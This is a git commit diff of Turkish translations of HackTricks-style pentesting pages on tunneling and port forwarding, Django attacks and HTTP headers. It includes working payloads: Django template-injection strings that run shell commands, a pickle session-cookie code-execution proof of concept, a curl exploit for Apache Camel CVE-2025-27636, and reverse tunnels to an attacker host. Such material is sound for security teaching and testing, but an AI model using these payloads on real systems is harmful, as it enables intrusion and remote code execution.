Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-10 22:09:41 +00:00
parent d4018665a2
commit 6ad104537e
3 changed files with 139 additions and 36 deletions

View File

@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tüneli
Her iki cihazda da **root erişimine ihtiyacınız var** (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\
Her iki cihazda da **root erişimine** ihtiyacınız var (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırmasının root girişine izin vermesi gerekiyor:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -78,7 +78,7 @@ ifconfig tun0 up #Activate the client side network interface
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
ifconfig tun0 up #Activate the server side network interface
```
Sunucu tarafında yönlendirmeyi etkinleştir.
Sunucu tarafında yönlendirmeyi etkinleştirin
```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Güvenlik Terrapin Saldırısı (CVE-2023-48795)**
> 2023 Terrapin geri alma saldırısı, bir adam-arada saldırganın erken SSH el sıkışmasını değiştirmesine ve **herhangi bir yönlendirilmiş kanala** veri enjekte etmesine olanak tanıyabilir ( `-L`, `-R`, `-D` ). Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın. citeturn4search0
> 2023 Terrapin geri alma saldırısı, bir adam-arada saldırganın erken SSH el sıkışmasını bozmasına ve **herhangi bir yönlendirilmiş kanala** ( `-L`, `-R`, `-D` ) veri enjekte etmesine olanak tanıyabilir. Hem istemcinin hem de sunucunun yamanmış olduğundan emin olun (**OpenSSH ≥ 9.6/LibreSSH 6.7**) veya SSH tünellerine güvenmeden önce savunmasız `chacha20-poly1305@openssh.com` ve `*-etm@openssh.com` algoritmalarını `sshd_config`/`ssh_config` içinde açıkça devre dışı bırakın.
## SSHUTTLE
Bir ana bilgisayar üzerinden **ssh** ile **alt ağ**'a giden tüm **trafik** için **tünel** oluşturabilirsiniz.\
Örneğin, 10.10.10.0/24'e giden tüm trafiği yönlendirmek
Bir ana bilgisayar üzerinden **ssh** ile tüm **trafik**i bir **alt ağa** **tünelleme** yapabilirsiniz.\
Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
> Bu durumda, **port beacon host'ta açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir.
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
@ -157,7 +157,7 @@ rportfwd stop [bind port]
Not edilmesi gerekenler:
- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Team Server'a trafik tünellemek için tasarlanmıştır**.
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil.
- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları da dahil.
- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**.
### rPort2Port yerel
@ -324,7 +324,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
Konsol PuTTY versiyonuna benzer (seçenekler bir ssh istemcisine çok benzer).
Konsol PuTTY versiyonu gibidir (seçenekler bir ssh istemcisine çok benzer).
Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için:
```bash
@ -387,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş yerel bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
Bir proxy'ye karşı kimlik doğrulaması yapar ve belirttiğiniz dış hizmete yönlendirilmiş olarak yerel olarak bir port bağlar. Ardından, bu port üzerinden tercih ettiğiniz aracı kullanabilirsiniz.\
Örneğin, 443 portunu yönlendirin.
```
Username Alice
@ -396,14 +396,14 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Şimdi, örneğin kurbanın **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Saldırgan 2222 numaralı port üzerinden buna bağlanabilirsiniz.\
Şimdi, örneğin kurbanın **SSH** hizmetini 443 numaralı portta dinleyecek şekilde ayarlarsanız. Buna saldırganın 2222 numaralı portu üzerinden bağlanabilirsiniz.\
Ayrıca, localhost:443'e bağlanan bir **meterpreter** kullanabilir ve saldırgan 2222 numaralı portta dinliyor olabilir.
## YARP
Microsoft tarafından oluşturulmuş bir ters proxy. Bunu burada bulabilirsiniz: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
## DNS Tünelleme
## DNS Tunneling
### Iodine
@ -415,7 +415,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
#You can see the victim at 1.1.1.2
```
Tünel çok yavaş olacaktır. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
Tünel çok yavaş olacak. Bu tünel üzerinden sıkıştırılmış bir SSH bağlantısı oluşturmak için şunu kullanabilirsiniz:
```
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
```
@ -518,7 +518,7 @@ _Gerekirse kimlik doğrulama ve TLS eklemek de mümkündür._
#### HTTP çağrılarını dinleme
_XSS, SSRF, SSTI ... için faydalıdır._\
stdout'dan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan.
Stdout'tan veya HTTP arayüzünden [http://127.0.0.1:4040](http://127.0.0.1:4000) doğrudan.
#### Dahili HTTP hizmetini tünelleme
```bash
@ -574,11 +574,11 @@ Bağlayıcıyı başlatın:
```bash
cloudflared tunnel run mytunnel
```
Çünkü tüm trafik **443 üzerinden dışa çıkıyor**, Cloudflared tünelleri, giriş ACL'lerini veya NAT sınırlarını aşmanın basit bir yoludur. İlgili binary'nin genellikle yükseltilmiş ayrıcalıklarla çalıştığını unutmayın mümkünse konteynerler veya `--user` bayrağını kullanın. citeturn1search0
Çünkü tüm trafik ana bilgisayardan **443 üzerinden çıkış yapar**, Cloudflared tüneller, giriş ACL'lerini veya NAT sınırlarını aşmanın basit bir yoludur. İlgili ikilinin genellikle yükseltilmiş ayrıcalıklarla çalıştığını unutmayın mümkünse konteynerler veya `--user` bayrağını kullanın.
## FRP (Hızlı Ters Proxy)
[`frp`](https://github.com/fatedier/frp) **TCP, UDP, HTTP/S, SOCKS ve P2P NAT-delik-delme** destekleyen aktif olarak bakım yapılan bir Go ters proxy'dir. **v0.53.0 (Mayıs 2024)** ile birlikte, bir **SSH Tünel Geçidi** olarak işlev görebilir, böylece bir hedef ana bilgisayar yalnızca stok OpenSSH istemcisini kullanarak ters bir tünel açabilir ek bir binary gerekmiyor.
[`frp`](https://github.com/fatedier/frp) **TCP, UDP, HTTP/S, SOCKS ve P2P NAT-delik-delme** destekleyen aktif olarak bakım yapılan bir Go ters proxy'dir. **v0.53.0 (Mayıs 2024)** ile birlikte, bir **SSH Tünel Geçidi** olarak işlev görebilir, böylece bir hedef ana bilgisayar yalnızca stok OpenSSH istemcisini kullanarak ters bir tünel açabilir ek bir ikili gerekmemektedir.
### Klasik ters TCP tüneli
```bash
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
```
Yukarıdaki komut, kurbanın portunu **8080** **attacker_ip:9000** olarak yayınlar ve ek bir araç dağıtmadan living-off-the-land pivoting için idealdir. citeturn2search1
Yukarıdaki komut, kurbanın **8080** portunu **attacker_ip:9000** olarak yayınlar ve ek bir araç dağıtmadan living-off-the-land pivoting için idealdir.
## Kontrol edilecek diğer araçlar

View File

@ -3,10 +3,77 @@
{{#include /banners/hacktricks-training.md}}
## Önbellek Manipülasyonu ile RCE
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişin unpickled edilmesi](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) durumunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**.
Django'nun varsayılan önbellek depolama yöntemi [Python pickles](https://docs.python.org/3/library/pickle.html) olup, [güvenilmeyen girişler unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) olduğunda RCE'ye yol açabilir. **Eğer bir saldırgan önbelleğe yazma erişimi elde ederse, bu açığı temel sunucuda RCE'ye yükseltebilir**.
Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak rastgele bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu detaylarının uygulamaya göre değişeceğini belirtmek önemlidir.
Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir.
Bu HackerOne raporu, bir SQLite veritabanında saklanan Django önbelleğini istismar etme konusunda harika, tekrarlanabilir bir örnek sunmaktadır: https://hackerone.com/reports/1415436
Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istismar etmenin harika, tekrarlanabilir bir örneğini sunmaktadır: https://hackerone.com/reports/1415436
---
## Sunucu Tarafı Şablon Enjeksiyonu (SSTI)
Django Şablon Dili (DTL) **Turing-tamamlayıcıdır**. Kullanıcı tarafından sağlanan veriler bir *şablon dizesi* olarak işlenirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçışları kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
### Tespit
1. *Herhangi* bir temizlenmemiş istek verisini içeren `Template()` / `Engine.from_string()` / `render_to_string()` için dinamik çağrılar arayın.
2. Zaman tabanlı veya aritmetik bir yük gönderin:
```django
{{7*7}}
```
Eğer işlenen çıktı `49` içeriyorsa, giriş şablon motoru tarafından derlenmiştir.
### RCE'ye Giden Yolda
Django, `__import__`'a doğrudan erişimi engeller, ancak Python nesne grafiğine erişim mümkündür:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
`subprocess.Popen`'ün indeksini bulun (≈400500 Python derlemesine bağlı olarak) ve rastgele komutları çalıştırın:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Daha güvenli evrensel bir alet, `cls.__name__ == 'Popen'` olana kadar yinelemektir.
Aynı alet, kullanıcı girişini yanlış işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır.
---
## Pickle Destekli Oturum Çerezi RCE
Eğer `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` ayarı etkinleştirilmişse (veya pickle'ı deseralize eden özel bir serileştirici), Django *oturum çerezini şifre çözer ve pickle'dan çıkarır* **herhangi bir görünüm kodunu çağırmadan önce**. Bu nedenle, geçerli bir imzalama anahtarına (varsayılan olarak projenin `SECRET_KEY`'i) sahip olmak, anında uzaktan kod yürütme için yeterlidir.
### Sömürü Gereksinimleri
* Sunucu `PickleSerializer` kullanıyor.
* Saldırgan `settings.SECRET_KEY`'yi biliyor / tahmin edebiliyor (GitHub, `.env`, hata sayfaları vb. üzerinden sızıntılar).
### Kanıt-of-Kavram
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Gönderilen çerezi, yükleme WSGI işçi izinleriyle çalışır.
**Önlemler**: Varsayılan `JSONSerializer`'ı koruyun, `SECRET_KEY`'i döndürün ve `SESSION_COOKIE_HTTPONLY`'yi yapılandırın.
---
## Son (2023-2025) Yüksek Etkili Django CVE'leri Pentester'ların Kontrol Etmesi Gerekenler
* **CVE-2025-48432** *Kaçırılmamış `request.path` üzerinden Log Enjeksiyonu* (4 Haziran 2025'te düzeltildi). Saldırganların log dosyalarına yeni satırlar/ANSI kodları sokmasına ve aşağı akış log analizini zehirlemesine olanak tanır. Yamanın seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Kritik SQL enjeksiyonu* `QuerySet.values()/values_list()` üzerinde `JSONField`'da (CVSS 9.8). JSON anahtarlarını, alıntıdan çıkmak ve keyfi SQL çalıştırmak için oluşturun. 4.2.15 / 5.0.8'de düzeltildi.
Her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i aracılığıyla tam çerçeve sürümünü parmak izi ile belirleyin ve yukarıdakileri uygun olduğunda test edin.
---
## Referanslar
* Django güvenlik sürümü "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432'yi ele alıyor" 4 Haziran 2025.
* OP-Innovate: "Django, SQL enjeksiyon açığını gidermek için güvenlik güncellemeleri yayınladı CVE-2024-42005" 11 Ağustos 2024.
{{#include /banners/hacktricks-training.md}}

View File

@ -28,14 +28,14 @@
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Hop-by-hop başlıklarını kontrol et)
**konumu** yeniden yaz:
**Konumu** yeniden yaz:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## Hop-by-Hop başlıkları
Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlıkların aksine.
Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlık yerine.
- `Connection: close, X-Forwarded-For`
@ -56,12 +56,12 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
**Sunucu Önbellek Başlıkları**:
- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir
- **`Cf-Cache-Status`** başlığında benzer bir davranış
- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir.
- **`Cf-Cache-Status`** başlığında benzer bir davranış.
- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800`
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkların** önbellek anahtarının bir parçası olarak ele alındığını **belirtmek için** kullanılır.
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkların** önbellek anahtarı olarak kabul edildiğini belirtmek için kullanılır.
- **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını belirtir
- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını gösterir.
{{#ref}}
../../pentesting-web/cache-deception/
@ -69,15 +69,15 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
**Yerel Önbellek başlıkları**:
- `Clear-Site-Data`: Silinmesi gereken önbelleği belirtmek için başlık: `Clear-Site-Data: "cache", "cookies"`
- `Clear-Site-Data`: Silinmesi gereken önbelleği belirtmek için kullanılan başlık: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Yanıtın ne zaman sona ereceğini içeren tarih/saat: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` `Cache-Control: no-cache` ile aynı
- `Warning`: **`Warning`** genel HTTP başlığı, mesajın durumu ile ilgili olası sorunlar hakkında bilgi içerir. Bir yanıt içinde birden fazla `Warning` başlığı görünebilir. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Pragma: no-cache` `Cache-Control: no-cache` ile aynı.
- `Warning`: **`Warning`** genel HTTP başlığı, mesajın durumu ile ilgili olası sorunlar hakkında bilgi içerir. Yanıt içinde birden fazla `Warning` başlığı görünebilir. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Koşullu İstekler
- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun yanıt içeriğini göndermesi için bir Etag değeri kullanır, eğer veri (Etag) değiştiyse. `Etag`, HTTP yanıtından alınır.
- **`If-Modified-Since`** ve **`If-Unmodified-Since`** başlıklarını kullanan istekler, yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır.
- **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir.
## Aralık İstekleri
@ -85,18 +85,18 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük
- **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Uyumlu olmayan kaynak sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nerede yer aldığını belirtir.
- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Uyuşmaz versiyonlardan iki aralığın indirilmesini önlemek için kullanılır.
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nerede bulunduğunu belirtir.
## Mesaj gövdesi bilgileri
- **`Content-Length`:** Kaynağın boyutu, ondalık sayı olarak bayt cinsinden.
- **`Content-Type`**: Kaynağın medya türünü belirtir
- **`Content-Type`**: Kaynağın medya türünü belirtir.
- **`Content-Encoding`**: Sıkıştırma algoritmasını belirtmek için kullanılır.
- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(leri)ni tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.
- **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
Bir pentest açısından bu bilgi genellikle "işe yaramaz" olarak kabul edilir, ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
@ -113,7 +113,7 @@ Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401*
## İndirmeler
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilmiş) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilen) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
```
Content-Disposition: attachment; filename="filename.jpg"
```
@ -129,7 +129,7 @@ Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı
### **Güvenilir Türler**
CSP aracılığıyla Güvenilir Türlerin zorlanması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek, JavaScript kodunu varsayılan olarak güvence altına alır.
CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasını garanti eder, böylece JavaScript kodunu varsayılan olarak güvence altına alır.
```javascript
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
@ -179,8 +179,44 @@ Son olarak, HSTS, tarayıcıların yalnızca güvenli HTTPS bağlantıları üze
```
Strict-Transport-Security: max-age=3153600
```
## Header Name Casing Bypass
HTTP/1.1, başlık alan adlarını **büyük/küçük harf duyarsız** olarak tanımlar (RFC 9110 §5.1). Yine de, alınan *literal* başlık adını önce normalleştirmeden karşılaştıran özel ara katmanlar, güvenlik filtreleri veya iş mantığı bulmak oldukça yaygındır (örneğin, `header.equals("CamelExecCommandExecutable")`). Eğer bu kontroller **büyük/küçük harf duyarlı** olarak gerçekleştirilirse, bir saldırgan, farklı bir büyük harf kullanarak aynı başlığı göndererek bunları atlayabilir.
Bu hatanın ortaya çıktığı tipik durumlar:
* İsteğin hassas bir bileşene ulaşmadan önce “tehlikeli” dahili başlıkları engellemeye çalışan özel izin/engelleme listeleri.
* Ters proxy sahte başlıklarının (örneğin, `X-Forwarded-For` sanitizasyonu) şirket içi uygulamaları.
* Yönetim / hata ayıklama uç noktalarını açan ve kimlik doğrulama veya komut seçimi için başlık adlarına güvenen çerçeveler.
### Abusing the bypass
1. Sunucu tarafında filtrelenen veya doğrulanan bir başlığı tanımlayın (örneğin, kaynak kodunu, belgeleri veya hata mesajlarını okuyarak).
2. **Farklı bir büyük/küçük harf ile aynı başlığı** gönderin (karışık büyük/küçük harf veya tamamen büyük harf). HTTP yığınları genellikle başlıkları yalnızca *kullanıcı kodu çalıştıktan sonra* kanonikleştirdiğinden, savunmasız kontrol atlanabilir.
3. Eğer aşağıdaki bileşen başlıkları büyük/küçük harf duyarsız bir şekilde ele alıyorsa (çoğu öyle yapar), saldırgan kontrolündeki değeri kabul edecektir.
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
Apache Camel'ın savunmasız sürümlerinde *Command Center* rotaları, güvensiz istekleri engellemeye çalışarak `CamelExecCommandExecutable` ve `CamelExecCommandArgs` başlıklarını kaldırır. Karşılaştırma `equals()` ile yapıldığından, yalnızca tam küçük harfli adlar kaldırılmıştır.
```bash
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
```
Başlıklar, `exec` bileşenine filtrelenmeden ulaşır ve bu da Camel sürecinin ayrıcalıklarıyla uzaktan komut yürütmeye yol açar.
### Tespit ve Azaltma
* Tüm başlık adlarını tek bir duruma (genellikle küçük harf) **önce** izin verme/reddetme karşılaştırmaları yapmadan normalleştirin.
* Şüpheli tekrarları reddedin: hem `Header:` hem de `HeAdEr:` mevcutsa, bunu bir anomali olarak değerlendirin.
* Kanonizasyon **sonrası** uygulanan pozitif bir izin listesi kullanın.
* Yönetim uç noktalarını kimlik doğrulama ve ağ segmentasyonu ile koruyun.
## Referanslar
- [CVE-2025-27636 RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
- [https://web.dev/security-headers/](https://web.dev/security-headers/)